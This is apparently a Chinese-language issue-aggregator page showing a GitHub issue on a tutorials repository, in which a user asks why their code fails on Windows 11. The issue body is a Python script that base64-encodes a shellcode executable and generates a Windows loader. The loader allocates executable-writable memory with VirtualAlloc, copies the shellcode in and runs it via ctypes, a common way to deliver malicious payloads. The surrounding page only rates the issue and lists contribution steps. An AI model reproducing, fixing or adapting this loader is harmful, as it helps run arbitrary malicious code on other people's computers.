Hacktoberfest 2026:维护者为十月标记出来的 issue,仍然开放、适合新手。 浏览 Hacktoberfest issue

i need know why and how to do🥹

未关闭
#637 0 条评论 0 个 reaction 已指派 0 人 在 GitHub 查看

还没有人认领这个 Issue。

评估

难度
5/5
预计耗时
一周以上
新手友好度
15/100
Issue 类型
缺陷
描述清晰度
需要澄清
活跃度
停滞
技术栈
python

调研方向

先查看附带的错误图片和生成的 windows_script.py,然后比较脚本在 Kali Linux 中是如何生成的,以及在 Windows 11 上是如何运行的。要解决问题,需要确定报告的失败并定义受支持的执行环境,但该 issue 未包含足够的错误文本或项目上下文,无法确定“done”意味着什么。

由索引模型根据 Issue 内容生成。

描述

Image_1728134302277

The code running in Kali linux

windows_script.py
with open('shellcode.exe', 'rb') as shellcode_file:
shellcode = shellcode_file.read()

import base64
encoded_shellcode = base64.b64encode(shellcode).decode('utf-8')

with open('windows_script.py', 'w') as f:
f.write(f'''import base64
import ctypes

decoded_shellcode = base64.b64decode("{encoded_shellcode}")

kernel32 = ctypes.windll.kernel32

shellcode_buffer = kernel32.VirtualAlloc(
ctypes.c_void_p(None),
len(decoded_shellcode),
0x1000 | 0x2000, # MEM_COMMIT | MEM_RESERVE
0x40 # PAGE_EXECUTE_READWRITE
)

if not shellcode_buffer:
raise MemoryError("VirtualAlloc failed to allocate memory")

ctypes.memmove(ctypes.c_void_p(shellcode_buffer), decoded_shellcode, len(decoded_shellcode))

shell_func = ctypes.CFUNCTYPE(ctypes.c_void_p)(shellcode_buffer)
shell_func()
''')
#The error result of the generated. py file running on Win11 is shown in the figure

主要语言
Python
星标
284k
派生
36.3k
PR 合并指标
30 天内没有已合并 PR

贡献指南

打开贡献指南

从这里开始

  1. 先读完整个 Issue,再读项目的贡献指南。
  2. 在 Issue 下留言说明你要接手 —— 这能避免两个人做同样的事。
  3. Fork 仓库,在一个分支上完成修改。
  4. 提交 Pull Request,并在描述里引用这个 Issue 编号。

practical-tutorials/project-based-learning 的其他 Issue

查看 practical-tutorials/project-based-learning 的全部 Issue

相似的 Issue

更多 Python Issue

把新 issue 发到你的邮箱

精选适合新手参与的 GitHub issue 摘要。